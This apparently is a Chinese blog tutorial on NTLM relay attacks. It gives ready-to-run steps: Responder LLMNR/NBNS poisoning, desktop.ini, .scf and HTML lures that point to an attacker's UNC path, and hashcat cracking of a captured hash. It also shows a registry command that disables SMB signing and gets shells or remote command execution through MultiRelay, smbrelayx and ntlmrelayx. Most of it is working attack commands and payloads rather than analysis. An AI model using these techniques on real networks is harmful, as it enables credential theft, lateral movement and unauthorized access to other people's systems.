NTLM中继攻击

NTLM中继攻击原理

之前说过hash的分类,简单分为LM hashNet-NTLM Hash v1Net-NTLM Hash v2

现在一般都是Net-NTLM Hash v2,破解和爆破都比较困难,所以一般获取不到明文

ntlm relay的原理可以简述为:存在一个中间人,也就是攻击者,然后客户端认为他是服务端,服务端认为他是客户端。所以全程客户端都在和攻击者进行交互,然后攻击者将获得到的信息拿来和服务端交互,所以服务端认为攻击者是客户端,这样也就达到了伪造客户端进行认证的目的

img

Net-Ntlm relay攻击的大致思路就是在Ntlm协议认证的第三步,通过获取Hash值,然后进行重放到服务器上进行验证。所以我们这里大致分为两步:第一步是获得Net-Ntlm Hash值,第二步是进行重放

获取Net-ntlm hash

这里的实现方式就是让受害者把Hash传递给自己,所以说我们可以利用所有基于NTLM协议的上层协议进行relay,比如SMBHTTPLDAP协议

Responder

这两个工具的原理是LLMNRNetBIOS欺骗

LLMNR全称链路本地多播名称解析,是基于域名系统(DNS)数据包格式的协议,IPv4IPv6的主机可以通过此协议对同一本地链路上的主机执行名称解析。简单理解为就是一种在局域网内寻找主机的协议

NetBios全称网络基本输入输出系统,它提供了OSI模型中的会话层服务,让在不同计算机上运行的不同程序,可以在局域网中,互相连线,以及分享数据。NetBIOS也是计算机的标识名称,主要用于局域网内计算机的互访。NetBIOS的工作流程就是正常的机器名解析查询应答过程。在Windows操作系统中,默认情况下在安装TCP/IP协议后会自动安装NetBIOS

Windows解析主机名的顺序为:

  1. 查看本地hosts文件
  2. 查看DNS缓存或者DNS服务器中进行查找
  3. 利用LLMNR(链路本地多播名称解析)和NetBIOS名称服务进行查找

在局域网环境下,当用户输入了一个不存在的,或者错误的,DNS中不存在的主机名的时候,Windows系统根据主机名解析的顺序开始查找,最终在局域网内广播LLMNR/NBNS数据包来请求解析主机名。所以当我们在攻击机上进行监听,然后在被攻击机上进行广播查找,当LLMNR(链路本地多播名称解析)和NetBIOS名称服务进行查找时,我们就可以抓到被攻击机的Hash

下载链接:https://github.com/lgandx/Responder

然后我们在攻击机(kali)上执行下面的命令

1
2
3
4
5
6
7
sudo responder -I eth0  -v -F on -w on 


-I eth0: 指定要监听的网络接口
-v: 输出详细的调试信息。
-F on: 打开 NTLMv1/NTLMv2/LMv2/Fallback 密码哈希的抓取和中继功能。
-w on: 打开 WPAD 代理欺骗功能。

然后在被攻击机上访问一个不存在的主机,使得被攻击机进行广播,这里随便输一个\\dddddd
或者在终端执行net use \\dddddd,这里是利用SMB协议进行中继攻击,所以这里是SMB Relay

其实这里的原理是LLMNR&NBNS攻击,当用户输入任意一个不存在的名称,本地hosts文件和DNS服务器均不能正常解析该名称,所以系统就会发送LLNMR/NBNS数据包请求解析,此时Responder对目标主机进行LLNMR/NBNS毒化,并要求其输入凭据认证,然后就可以抓到目标机器的Net-Ntlm hash

desktop.ini

每个文件夹下都有个隐藏文件desktop.ini其作用来用来指定文件夹图标等,正常情况是不可见的,可以通过修改文件夹属性去显示此文件
当图标的一些路径改成指定的UNC路径,就能收到目标机器发来的NTLM请求

通用命名规则 UNC (Universal Naming Convention) ,也叫通用命名规范、通用命名约定,指用一种通用语法来描述网络资源(如共享文件,目录或打印机)的位置
Microsoft Windows UNC,通用命名约定或统一命名约定的简称,指定了一种通用语法来描述网络资源(如共享文件,目录或打印机)的位置。Windows系统的UNC语法具有通用形式:
\\ComputerName\SharedFolder\Resource

我们先新建一个文件夹111,然后随便修改一个文件夹图标

取消勾选隐藏受保护的操作系统文件

此时可以看到desktop.ini文件

然后将该文件里的UNC路径替换为指定机器的UNC路径,这样当有人访问了111文件夹,目标机器就会去请求指定的UNC的图标资源,于是该机器就会将当前用户的Net-NTLM Hash发送给指定UNC的机器,我们在攻击机上用Responder监听,就能接受到发来的Net-NTLM Hash

image-20241026171148304

.scf后缀文件

SCF后缀的文件通常是Windows操作系统中使用的一种快捷方式文件。SCF文件是Shell Command File(Shell 命令文件)的缩写,它包含了一系列命令,用于执行特定的操作或打开特定的应用程序

这个利用方法和上面的desktop.ini的原理是一样的,.scf文件中包含IconFile属性,所以explore.exe服务器会尝试获取文件夹的图标,所以打开.scf所在的文件夹时,目标机器会尝试获取文件夹的图标,那我们通过修改IconFile也就像上面一样达到访问指定UNC机器的目的了

.scf文件的基本格式如下:

1
2
3
4
[Shell]Command=2
IconFile=\\10.10.10.2\test\test.ico
[Taskbar]
Command=ToggleDesktop

浏览器

当浏览器的访问页面含有UNC路径时,浏览器在解析该页面时也会尝试请求该UNC地址,发起NTLM认证。不同的浏览器有不同的UNC路径格式

这里示范一下在IE浏览器下的。在网站(phpstudy)下新建 1.html ,内容如下:

1
2
3
4
5
6
7
8
<!doctype html>
<htlm lang="en">
<head>
<meta charset="UTF-8">
<head>
<body>
<script src="\\192.168.253.255\test"></script>
</html>

然后在被攻击机上访问这个文件,成功抓到Net-NTLM Hash

系统命令

下面列举一些常见的系统命令来访问指定的UNC路径去触发Net-NTLM Hash

1
2
3
4
5
net.exe use \hostshare
attrib.exe \hostshare
cacls.exe \hostshare
cipher.exe \hostshare
expand.exe \hostshare

然后Responder监听接收到了hash值

除了上面的这些方法之外还可以用OfficePDFoutlookWPAD欺骗打印机漏洞

利用Net-ntlm hash进行攻击

破解Net-NTLM Hash

1
2
3
4
hashcat -m 5600 <net-ntlm hash> 密码字典路径 --force --show 

比如:(主要看字典强不强大)
hashcat -m 5600  Administrator::WANYUE:cc1c3f0693127e2d:F1A956FBA8F6138DD687620F161C6CDA:010100000000000054EA5D5C6D49DA0163E3AABCA31110450000000002000800420053004F00470001001E00570049004E002D005400580045004B004400310051004C0049003600570004001400420053004F0047002E004C004F00430041004C0003003400570049004E002D005400580045004B004400310051004C004900360057002E00420053004F0047002E004C004F00430041004C0005001400420053004F0047002E004C004F00430041004C000800300030000000000000000000000000300000AB1E45D172BBDC200072E4A485AB24C52F15C1CA212FB8F124D857356EFE126F0A001000000000000000000000000000000000000900120048005400540050002F0077007000610064000000000000000000 /password.txt --force --show

我们抓到的这个是Net-NTLM Hash v2,密码强度较高,一般都跑不出来,所以基本都是用中继攻击

中继Net-NTLM Hash

我们知道,由于NTLM只是底层的认证协议,必须镶嵌在上层应用协议里面,消息的传输依赖于使用NTLM的上层协议,比如SMB、HTTP、LDAP等。因此,我们可以将获取到的Net-NTLM Hash Relay到其他使用NTLM进行认证的应用上

攻击前提:

目标主机没有开启smb签名。一般情况下域控默认开启smb签名,其余域内机器不开启

关闭SMB签名的命令如下:

1
reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 0 /f

用nmap探测SMB签名是否打开命令(不一定准确):

1
nmap -p445 --script=smb-security-mode.nse -Pn IP地址 --open

Relay To SMB

SMB-Relay又分为在工作组环境下和在域环境下,但是一般工作组环境下比较少

  1. 工作组环境:在工作组环境中,工作组中的机器之间相互没有信任关系,每台机器的账号密码只是保存在自己的SAM文件中,这个时候Relay到别的机器,除非两台机器的账号密码一样,不然没有别的意义了。但是如果账号密码相同的话,为何不直接Pass The Hash攻击呢?因此在工作组环境下,Relay到其他机器不太现实。这个时候的攻击手段就是将机器Relay回机子本身。因此微软在ms08-068中对Relay到自身机器做了限制,严禁Relay到机器自身。CVE-2019-1384(Ghost Potato)就是绕过了该补丁。
  2. 域环境:在域环境中,默认普通域用户可以登录除域控外的其他所有机器(但是为了安全,企业运维人员通常会限制域用户登录的主机),因此可以将Net-NTLM Hash Relay到域内的其他机器。如果是拿到了域控机器的Net-NTLM Hash,可以Relay到除域控外的其他所有机器(为啥不Relay到其他域控,因为域内只有域控默认开启SMB签名)。

responder MultiRelay

利用 MultiRelay.py 攻击,获得目标主机的 shell:

1
2
3
python3 MultiRelay.py -t <被攻击ip> -u ALL

python3 MultiRelay.py -t 192.168.58.145 -u ALL

现在 SMB 已经由 MultiRelay.py 脚本来进行中继,我们需要修改一下 responder 的配置文件Responder.conf,不让其对 hash 进行抓取。将 SMB 和 HTTP 的 On 改为 Off:

1
2
3
4
vim /usr/share/responder/Responder.conf

SMB=Off
HTTP=Off

重启 Responder.py,准备毒化(这里 responder 的作用就是当访问一个不存在的共享路径,将称解析降到 LLMNR/NBNS 时,来抓取网络中所有的 LLMNR 和 NetBIOS 请求并进行响应)

1
responder -I eth0

在 DC(192.168.58.144)上随便传递一个 SMB 流量

1
net use \\whoami

可以看到已经拿到了目标机器的 shell

image-20241026150324109

Impacket smbrelayx

1
2
3
impacket-smbrelayx -h <被攻击ip> -c whoami

python smbrelayx.py -h 192.168.58.145 -c whoami

让任意主机访问这个攻击者精心构造好的 SMB 服务器:

1
2
3
net use \\<kali IP>

net use \\192.168.58.147

此时,攻击者的 smbrelayx 脚本上就会发现命令成功执行了

image-20241026160430334

Impacket ntlmrelayx.py

1
python ntlmrelayx.py -t 192.168.58.145 -c whoami -smb2support

image-20241026181305398

Relay To HTTP

中继到HTTP协议,基本都是用上面SMB说的三个脚本,这三个脚本也可以应用到HTTP协议中,就像impacket下的smbrelayx.py最后中继到http协议的一样,一般就是在域内的一台主机上访问一个不存在的网页,然后输入凭证

所以只要我们开始欺骗投毒并且运行脚本之后,只要域内有机器用到了SMB或者HTTP协议就会触发,使得我们成功横向移动


NTLM中继攻击
http://example.com/2025/01/22/NTLM中继攻击/
作者
ZERO
发布于
2025年1月22日
许可协议